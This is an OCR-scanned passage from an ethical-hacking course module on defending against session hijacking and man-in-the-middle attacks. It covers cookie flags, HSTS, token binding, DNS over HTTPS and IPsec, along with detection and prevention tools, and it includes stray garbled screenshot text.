Implement DNS-based authentication of named entities.

Disable compression mechanisms of HTTP requests.

Restrict cross-site scripts to prevent cross-site request forgery (CSRF) from the client
side.

Upgrade web browsers to the latest versions.

Use vulnerability scanners to detect any insecure configuration of HTTPS session
settings on sites.

Enable the HTTPOnly property to prohibit user scripts from accessing the cached
cookies.

Use SSH file transfer protocol (SETP); Applicability Statement 2 (AS2)-managed file
transfer, or FTP Secure (FTPS) to send data using encryption and digital certificates.

Employ the Microsoft-based solution (SMB signing) to enable traffic signing.

Apply secure socket layer (SSL) or transport layer security (TLS) to decrease the
likelihood of successful hijacks.

Implement IPsec to secure IP communications.

Use encrypted virtual private networks (VPNs), such as PPTP and Layer 2 protocol
tunneling (L2PT) for remote connections.

Use multifactor authentication (MFA) to reduce the chances of unauthorized access,
even if a session token is compromised.

Use the SameSite cookie attribute to prevent the browser from sending cookies along
with cross-site requests.

Monitor session activity for unusual patterns such as multiple simultaneous logins from
different geographic locations, which may indicate a hijacked session.

Educate users on the importance of logging out of applications, especially on public or
shared computers, and the need to use strong and unique passwords.

Bind the session to the user's IP address.
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Leverage behavioral biometrics such as typing rhythms, mouse movements, and
navigation patterns for continuous authentication.

Implement a challenge-response mechanism that requires solving a puzzle (e.g.,
CAPTCHA) when suspicious activity is detected.

Implement an absolute timeout regardless of session timeout when the user is inactive.

Web Development Guidelines to Prevent Session Hijacking

An attacker usually hijacks a session by exploiting the vulnerabilities in mechanisms used for
session establishment. Web developers often ignore security. During the development process,
they should consider the following guidelines to minimize/eliminate the risk of session
hijacking.

Create session keys with lengthy strings or random numbers so that it is difficult for an
attacker to guess a valid session key

Regenerate the session ID after a successful login to prevent session fixation attacks
Encrypt the data and session key transferred between the user and web servers
Implement SSL to encrypt all information in transit via the network

Make the session expire as soon as the user logs out

Prevent eavesdropping within the network

Reduce the life span of a session or cookie

Use restrictive cache directives for@ll the web traffic through HTTP and HTTPS, such as
the “Cache-Control: no-cache, no-store” and “Pragma: no-cache” HTTP headers and/or
equivalent META tags on all or (at least) sensitive web pages

Do not create sessions for unauthenticated users unless necessary
Ensure HTTPOnly while using cookies for session IDs

Use a secure flag to send cookies in HTTPS requests and encrypt them before sending
across the network

Check whether all the requests received for the current session originate from the same
IP address and user agent

Implement continuous device verification to identify whether the user who established
the session is still in control

Implement risk-based authentication at different levels before granting access to
sensitive information

Perform authentication and integrity verification between VPN endpoints

Destroy the associated sessions on the server-side itself instead of simply depending on
the session expiration when a user is deauthenticated
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Ensure that the web application is able to redirect HTTP requests to HTTPS using either
server settings or redirection techniques

Incorporate user re-authentication and generation of new sessions before allowing any
sensitive functions

Rely on web frameworks that provide highly secure session IDs to generate sessions
instead of using own session management

Enforce HTTPS on all pages of the web application, not just login pages.

Web User Guidelines to Prevent Session Hijacking

The following are some guidelines for web users to defend against session hijacking.

Do not click on links received through emails or instant messages (IMs).
Use firewalls to prevent malicious content from entering the network.
Use firewalls and browser settings to restrict cookies.

Ensure that the website is certified by appropriate certifying authorities.

Ensure that the history, offline content, and cookies are cleared from the browser after
every confidential and sensitive transaction.

Give preference to HTTPS, a secure transmission protocol, over HTTP when transmitting
sensitive and confidential data.

Logout from the browser by clicking~on the logout button instead of closing the
browser.

Verify and disable add-ons from untrusted sites. Enable add-ons only if necessary.

Practice using a one-time password for critical data transactions (e.g., credit card
transactions).

Frequently update anti-virus signatures to prevent the automatic installation of malware
that attempts to steal cookies.

Avoid accessing sensitive accounts or conducting financial transactions over public Wi-
Fi.

Disable auto-connect to open Wi-Fi networks.

Ensure that your operating system, web browsers, and installed plugins are updated.
Use encrypted messaging and email services for sensitive communication.

Avoid saving passwords in browsers.

Use incognito mode on shared computers.

Be cautious about granting apps access to sensitive information or features on your
device.

Use custom session handlers for storing and handling session tokens.
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Session Hijacking Detection Tools

USM USM Anywhere delivers threat detection, incident response, Wireshak Wireshark allows you to capture and interactively
Anywhere  and compliance management across cloud, on-premises, etc. browse the traffic running on a computer network
Overview € (=) - o x
e s P ] P
SIEM
5 100.
,,,,,,,,,,,,,,, &
1
zozzewzzcoa?fe a9 fe :
. iiEiEiiizziz https:/Awww. wireshark.org
https://cybersecurity.att.com > = T T R
Session Hijacking Quantum Intrusion Prevention System SolarWinds Security Event Manager IBM Security Network Intrusion Prevention

Detection Tools: (IPS) (https://www.checkpoint.com) (https://www.solarwinds.com) System (https://www.ibm.com)
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Session Hijacking Detection Tools

Session hijacking attacks are difficult to detect, and innmost cases, attacks go unnoticed, causing
severe leakage of confidential data. Tools such as\packet sniffers, IDSs, and security information
and event management (SIEM) can be used to detect session hijacking attacks.

= USM Anywhere
Source: https://cybersecurity.att.com

USM Anywhere offers powerful threat detection, incident response, and compliance
management across cloud, on-premises, and hybrid environments. Security
professionals can use this tool for detecting session hijacking attempts and perform
asset discovery, intrusion detection, security automation, SIEM and log management,
endpoint detection and response, threat detection, threat intelligence, and vulnerability
assessment.
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Wireshark allows users to capture and interactively browse the traffic on a network. This
tool uses Winpcap to capture packets. Therefore, it can only capture packets on the
networks supported by Winpcap. It captures live network traffic from Ethernet, |EEE
802.11, Point-to-Point Protocol/High-level Data Link Control (PPP/HDLC), Asynchronous
Transfer Mode (ATM), Bluetooth, Universal Serial Bus (USB), Token Ring, Frame Relay,
and Fiber Distributed Data Interface (FDDI) networks. Security professionals use
Wireshark to monitor and detect session hijacking attempts.
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Figure 11.32: Screenshot of Wireshark

The following are some additional session hijacking detection tools:

= Quantum Intrusion Prevention System (IPS) (https://www.checkpoint.com)

= SolarWinds Security Event Manager (https.//www.solarwinds.com)

= |BM Security Network Intrusion Prevention System (https://www.ibm.com)

* LogRhythm (https://logrhythm.com)
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HTTP Strict Transport Security (HSTS) Token Binding

* HTTP Strict Transport Security (HSTS) is a web
security policy that protects HTTPS websites
against MITM attacks

When a user logs on to a web application, it generates
a cookie with an SID, called a token

Token binding protects client-server
communications against session hijacking attacks
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* |t allows web servers to enforce web browsers to
interact with it using secure HTTPS protocol
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Approaches to Prevent Session Hijacking
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HTTP Strict Transport Security (HSTS)

HTTP Strict Transport Security (HSTS)~is '@ web security policy that protects HTTPS
websites against MITM attacks. The HSTS policy helps web servers force web browsers
to interact with them using HTTPS \With the HSTS policy, all insecure HTTP connections
are automatically converted into-HTTPS connections. This policy ensures that all the
communication between a web server and web browser is encrypted and that all
responses that are delivered and received originate from an authenticated server.

m HTTP Request
(o) Q—
HSTS Header —
< 02 o— fiii
(03) HTTPS Request e
L S i

Client

Web Server

Figure 11.33: Implementation of HSTS

Token Binding

When a user logs into a web application, a cookie with a session ID, called a token, is
generated. The user utilizes this random token to send requests to the server and access
resources. An attacker can impersonate the user and hijack the connection by capturing
and reusing a valid session ID. Token binding protects client—server communication
against session hijacking attacks. The client creates a public—private key pair for every
connection to a remote server. When a client connects to the server, it generates a
signature using a private key and sends this signature along with its public key to the
server. The server verifies the signature using the client’s public key. This ensures that
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the message was sent by an authentic client because only the client has its private key.
Even if an attacker captures the signature, it is not possible for them to regenerate the
signature or reuse it for another connection. For every new connection, a new pair of
public and private keys are used.

TLS Session — Token Binding?
@ :
Generate Keys

e 4 . @— o 111
0o e T

i —

A (_@ Determine TLS Keys > o i
Y4 o— iiii

Signature(TLS Keys), Public Ke
Web Browser —@ 2 ( ys) . > Web Server

Figure 11.34: Implementation of token binding
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Approaches to Prevent MITM Attacks

DNS over HTTPS user's web activities or DNS queries during the DNS lookup process

LN ) ‘
----- - ‘/@
Port _ , N

443 Secure tunnel 0 \L

DoH Client 'll% Encrypted DNS queries over HTTPS DoH Resolver

_____ = - | r Conventional DNS queries DNS
(4
DNS Resolver
DNS Client
——— . %
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DNS over HTTPS (DoH) is an enhanced version of DNS protocol, which is used to prevent snooping of

The web queries and traffic are sent through encrypted HTTPS via port 443

x

Attacker

Approaches to Prevent MITM Attacks

Man-in-the-middle (MITM) attacks are the most common type of attack, wherein the attackers
intercept the traffic between two endpoints. The'victim may not realize the effect of this attack,
because it is mostly passive in nature. Because the detection of MITM attacks is difficult, they
can only be prevented using various measures. The following are some approaches to prevent
MITM attacks:

DNS over HTTPS

DNS over HTTPS (DoH) is an enhanced version of the DNS protocol that is used to
prevent the peeking or snooping of user’s web activities or DNS queries during the DNS
lookup process. The protocol is different than the conventional DNS protocol since the
web queries and the traffic is sent through a secured or encrypted HTTPS tunnel via port
443. Implementing DNS over HTTPS makes the traffic undetectable by the attackers or
ISPs since it gets hidden within the normal traffic passing through the HTTPS port.

Unlike the traditional DNS lookup process, the DoH sends a segment of a necessary
domain name to fetch the results instead of sending the complete domain name
entered by a user. This protocol helps in ensuring user’s privacy and security as the web
traffic is directed only between DoH supported clients and a resolver avoiding MITM
and session hijacking attacks. Web browsers such as Chrome, Mozilla, and Microsoft
Edge have been implementing this protocol for the past few years and Mozilla had
already adopted this protocol as default from 2020 for its US clients.
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Figure 11.35: DNS over HTTPS
WPA3 Encryption

Wireless Protected Access 3 (WPA3) is a wireless protocol intended to protect the traffic
sent and received by users over a wireless network. The implementation of this protocol
can prevent attempts by unwanted users to connect to a network. A weak encryption
mechanism enables attackers to brute-force credentials and enter a target network to
perform MITM attacks.

VPN

A VPN creates a safe and encrypted tunnel over'a public network to securely send and
receive sensitive information. It creates.a subnet by using key-based encryption for
secure communication between endpoints. The implementation of a VPN in the
network prevents attackers from decrypting the data flowing between the endpoints.

Two-Factor Authentication

Two-factor authentication provides an extra layer of protection because it serves as a
vector of authentication in addition to a wuser’s password. Therefore, the
implementation of two-factor authentication can prevent attackers from performing
session hijacking and brute forcing to compromise a user’s account.

Password Manager

Password Manager is an application or tool used to protect and manage individual
credentials. The tool can also help in producing unique and complex passwords for web
applications. Using the password manager, passwords can be stored in a secure location
under the database and encapsulated using a master key to prevent MITM attacks.

Zero-trust Principles

Zero-trust principles constitute a set of standardized user pre-verification procedures
that requires all users (inside or outside) to be authenticated before providing access to
any resource. These principles are based on the famous phrase, “Trust but verify.” Even
though the request is made from the internal network, the authentication process is
similar to that for an outsider.
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= Public Key Infrastructure (PKIl)

Public key infrastructure (PKI) is a framework that manages, distributes, and validates
digital certificates for secure communication. This ensures that the entities involved in
the communication are those they claim to be involved in. Certificates are issued by
trusted certificate authorities (CAs), and any attempt to present a false certificate can be
detected.

= Network Segmentation

Network segmentation is the practice of dividing a computer network into smaller sub-
networks or segments to enhance security. It can help prevent man-in-the-middle
(MITM) attacks by restricting an attacker’s ability to intercept and manipulate
communication between devices, move laterally within the network, and gain access to
sensitive information.
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IPsec

* IPsec uses two different security services for
authentication and confidentiality

* Authentication Header (AH): Provides the data
authentication of the sender

both the data authentication and encryption
(confidentiality) of the sender

IPsec Authentication and Confidentiality

« Encapsulation Security Payload (ESP): Provides
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« |Psec is a protocol suite developed by the |IETF for securing IP communications by authenticating and
encrypting each |IP packet of a communication session

« ltis deployed widely to implement VPNs and for remote user access through dial-up connection to private networks

Benefits of IPsec

— w13
-GOUNCI

Network-level peer authentication
Data origin authentication

Data integrity

Data confidentiality (encryption)

Replay protection
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IPsec (Cont’d)
Modes of IPsec

IPsec Architecture
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Internet Protocol Security (IPsec) is a set of protocols that the Internet Engineering Task Force
(IETF) developed to support the secure exchange of packets at the IP layer. It ensures
interoperable cryptographically based security for IPv4 and IPv6, and it supports network-level
peer authentication, data origin authentication, data integrity, data confidentiality (encryption),
and replay protection. It is widely used to implement VPNs and for remote user access through
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dial-up connection to private networks. It supports transport and tunnel encryption modes,
although sending and receiving devices must share a public key.

IPsec policies can be assigned through the Group Policy configuration of Active Directory
domains, organizational units, and IPsec deployment policies at the domain, site, or
organizational-unit level. The security services offered by IPsec include the following:

= Rejection of replayed packets (a form of partial sequence integrity)
= Data confidentiality (encryption)

= Access control

= Connectionless integrity

®= Data origin authentication

= Dataintegrity

= Limited traffic-flow confidentiality

= Network-level peer authentication

= Replay protection

At the IP layer, IPsec provides all the above-mentioned services, offering the protection of IP
and/or upper-layer protocols such as TCP, UDP, ICMP;.and Border Gateway Protocol (BGP).

Components of IPsec

= |Psec driver: Software that performs/protocol-level functions required to encrypt and
decrypt packets.

= Internet Key Exchange (IKE): An.protocol that produces security keys for IPsec and other
protocols.

* Internet Security Association and Key Management Protocol (ISAKMP): Software that
allows two computers to communicate by encrypting the data exchanged between
them.

= QOakley: A protocol that uses the Diffie—Hellman algorithm to create a master key and a
key that is specific to each session in IPsec data transfer.

= |Psec Policy Agent: A service included in Windows OS that enforces IPsec policies for all
the network communications initiated from that system.

The following are the steps involved in the IPsec process.
= A consumer sends a message to a service provider.

= The consumer's IPsec driver attempts to match the outgoing packet's address or the
packet type against the IP filter.

= The IPsec driver notifies ISAKMP to initiate security negotiations with the service
provider.

» The service provider's ISAKMP receives the security negotiation request.
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Both principles initiate a key exchange, establishing an ISAKMP Security Association (SA)
and a shared secret key.

Both principles discuss the security level for the information exchange, establishing both
IPsec SAs and keys.

The consumer's IPsec driver transfers packets to the appropriate connection type for
transmission to the service provider.

The provider receives the packets and transfers them to the IPsec driver.

The provider's IPsec uses the inbound SA and key to check the digital signature and
begin decryption.

The provider's IPsec driver transfers decrypted packets to the OSI transport layer for
further processing.

Modes of IPsec

The configuration of IPsec involves two different modes: the tunnel mode and transport mode.
These modes are associated with the functions of two core protocols: the Encapsulation
Security Payload (ESP) and Authentication Header (AH). The model selection depends on the
requirements and implementation of IPsec.

Transport Mode

In transport mode, IPsec encrypts only/the payload of the IP packet and not the IP
header. IP headers remain intact, and only the data payload is encrypted or
authenticated. This mode is used forénd-to-end communications between two hosts.

In the transport mode (for ESR);~IPsec encrypts only the payload of the IP packet, leaving
the header untouched. It authenticates two connected computers and provides the
option of encrypting data transfer. It is compatible with network address translation
(NAT); therefore, it can be used to provide VPN services for networks utilizing NAT.

\/

Transport - mode encapsulation

IP IPsec | Transportdata IPsec
trailer (ESP
header header (TCP,UDP, etc.) only)
<— encrypted—>
< authenticated S

Figure 11.36: Transport mode encapsulation
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* Tunnel Mode

In tunnel mode, IPsec encapsulates the entire IP packet (payload and IP header) and
then encrypts the entire packet. This encapsulated packet becomes the payload for a
new IP packet with a new IP header.

In the tunnel mode (for AH), the IPsec encrypts both the payload and header. Hence, in
the tunnel mode has higher security than the transport mode. After receiving the data,
the IPsec-compliant device performs decryption. The tunnel model is used to create
VPNs over the Internet for network-to-network communication (e.g., between routers
and link sites), host-to-network communication (e.g., remote user access), and host-to-
host communication (e.g., private chat). It is compatible with NAT and supports NAT
traversal.

In the tunnel mode, ESP encrypts and optionally authenticates entire inner IP packets,
whereas AH authenticates entire inner IP packets and selected fields of outer IP
headers. The tunnel mode is usually useful between two gateways or between a host

and gateway.
Network 1 m Network 2

Host 1 GW1 v GW 2 Host2

Tunnel - mode encapsulation

Outer Inner .
P I':::::r\l P S IP:Es;; tra;ter
header header (ESPonly)
<— encrypted——>
< authenticated >

Figure 11.37: Tunnel mode encapsulation
IPsec Architecture

IPsec offers security services at the network layer. This provides the freedom to select the
required security protocols as well as the algorithms used for services. To provide the
requested services, the corresponding cryptographic keys can be employed, if required.
Security services offered by IPsec include access control, data origin authentication,
connectionless integrity, anti-replay, and confidentiality. To meet these objectives, IPsec uses
two traffic security protocols, AH and ESP, as well as cryptographic key management protocols
and procedures.

The protocol structure of the IPsec architecture is as follows.

= Authentication Header (AH): It offers integrity and data origin authentication, with
optional anti-replay features.
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Encapsulating Security Payload (ESP): It offers all the services offered by AH as well as
confidentiality.

IPsec Domain of Interpretation (DOI): It defines the payload formats, types of
exchange, and naming conventions for security information such as cryptographic
algorithms or security policies. IPsec DOI instantiates ISAKMP for use with IP when IP
uses ISAKMP to negotiate security associations.

Internet Security Association and Key Management Protocol (ISAKMP): It is a key
protocol in the IPsec architecture that establishes the required security for various
communications over the Internet, such as government, private, and commercial
communications, by combining the security concepts of authentication, key
management, and security associations.

Policy: IPsec policies are useful in providing network security. They define when and
how to secure data, as well as security methods to use at different levels in the network.
One can configure IPsec policies to meet the security requirements of a system, domain,
site, organizational unit, and so on.

l—[ IPsec Architecture ]j

[ AH Protocoll ] [ ESP Protocol }
v

Authenticatic;n
Algorithm

Encryption Algorithm

Vo

IPsec Domain of
Interpretation (DOI) J":

~
-

! I

"
[ Policy >{ Key Management J

Figure 11.38: IPsec architecture

IPsec Authentication and Confidentiality

IPsec uses two different security services for authentication and confidentiality.

Authentication Header (AH): It is useful in providing connectionless integrity and data
origin authentication for IP datagrams and anti-replay protection for the data payload
and some portions of the IP header of each packet. However, it does not support data
confidentiality (no encryption). A receiver can select the service to protect against
replays, which is an optional service on establishing a security association (SA).
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* Encapsulation Security Payload (ESP): In addition to the services (data origin
authentication, connectionless integrity, and anti-replay service) provided by AH, the
ESP protocol offers confidentiality. Unlike AH, ESP does not provide integrity and
authentication for the entire IP packet in the transport mode. ESP can be applied alone,
in conjunction with AH, or in a nested manner. It protects only the IP data payload in the
default setting. In the tunnel mode, it protects both the payload and IP header.

a
File Action View Help

e« = HE Ba

Fa Security Settings Name Description Policy Assigned Last Mod
A Account Policies . . .
- IP Security Policy Wizard X

4 Local Policies

| Windows Defender Firewall with &dwvan IP Security Policy Name

| Network List Manager Policies MName this IP Secunty policy and provide a brief description
| Public Key Policies

| Software Restriction Policies
~ Application Control Policies Narme:

@, IP Security Policies on Local Computer New [P Security Policy
. Advanced Audit Policy Configuration

Description:

< Back MNext » Cancel

Figure 11.39: Screenshot of local IPsec policy on Windows
Session Hijacking Prevention Tools

To prevent session hijacking, the security testing of web applications and the analysis of static
code to identify vulnerabilities in web applications are required. Identifying vulnerabilities at an
early stage helps in implementing security measures to protect against session hijacking
attacks.

" Checkmarx One SAST
Source: https://checkmarx.com

Checkmarx One SAST is a unique source-code analysis solution that provides tools for
identifying, tracking, and repairing technical and logical flaws in source code, such as
security vulnerabilities, compliance issues, and business logic problems. CxSAST
supports open-source analysis (CxOSA), enabling licensing and compliance
management, vulnerability alerts, policy enforcement, and reporting. This tool supports
a wide range of OS platforms, programming languages, and frameworks.
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Security professionals can use this tool to prevent various session hijacking attacks such
as MITM attacks, session fixation attacks, and XSS attacks.

Applications & Projects
(3 Projects (173)
[[m ————————
» Groups & Filters Runtime (15) Q — ‘L
Name Scan Origin Source Last Scan Tags Internet Facing Total Vulnerabilities Risk Level
f 0 «
l
| Aobil [ ” | Zip
A_HM na F] ziy ] 131
BMV f zi ,
n_Tes J| Zi
| : €l zi
lav2010_N (1 zip
Code Repository ithub 33%
ﬂ Coverage O — 2
- W7
Figure 11.40: Screenshot of Checkmarx One SAST
= Fiddler

Source: https://www.telerik.com

Fiddler is used for performing web-application security tests such as the decryption of
HTTPS traffic and manipulation of requests using an MITM decryption technique. Fiddler
is @ web debugging proxy that logs all HTTP(S) traffic between a computer and the
Internet.

Security professionals can use Fiddler to test web applications by debugging the traffic
from systems as well as manipulating and editing web sessions.
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Figure 11.41: Screenshot of Fiddler
The following are some additional session hijacking prevention tools:
= Nessus (https://www.tenable.com)
» Invicti (https://www.invicti.com)

= Wapiti (https://wapiti-scanner.github.io)
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Module Summary

* In this module, we have discussed the following:
v Session hijacking concepts and different types of session hijacking
v" Application-level and network-level session hijacking attacks
v Various session hijacking tools
v

How to detect, protect, and defend against session hijacking attacks,
as well as various session hijacking detection and prevention tools

v We concluded with a detailed discussion on various countermeasures
to be employed to prevent session hijacking attempts by threat actors

In the next module, we will discuss in detail how attackers, as well as
ethical hackers and pen-testers, evade network security components such
as IDSs and firewalls to compromise the infrastructure
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Module Summary

In this module, we discussed concepts related to session hijacking, along with different types of
session hijacking. We also discussed in detail “application-level and network-level session
hijacking attacks. Furthermore, various session hijacking tools were presented. We also
discussed how to detect, protect, and defend against session hijacking attacks, in addition to
various session hijacking detection.and prevention tools. We concluded with a detailed
discussion on various countermeasures to be employed to prevent session hijacking attempts
by threat actors.

In the next module, we will discuss in detail how attackers, as well as ethical hackers and pen
testers, evade network security components such as IDSs and firewalls to compromise network
infrastructure.
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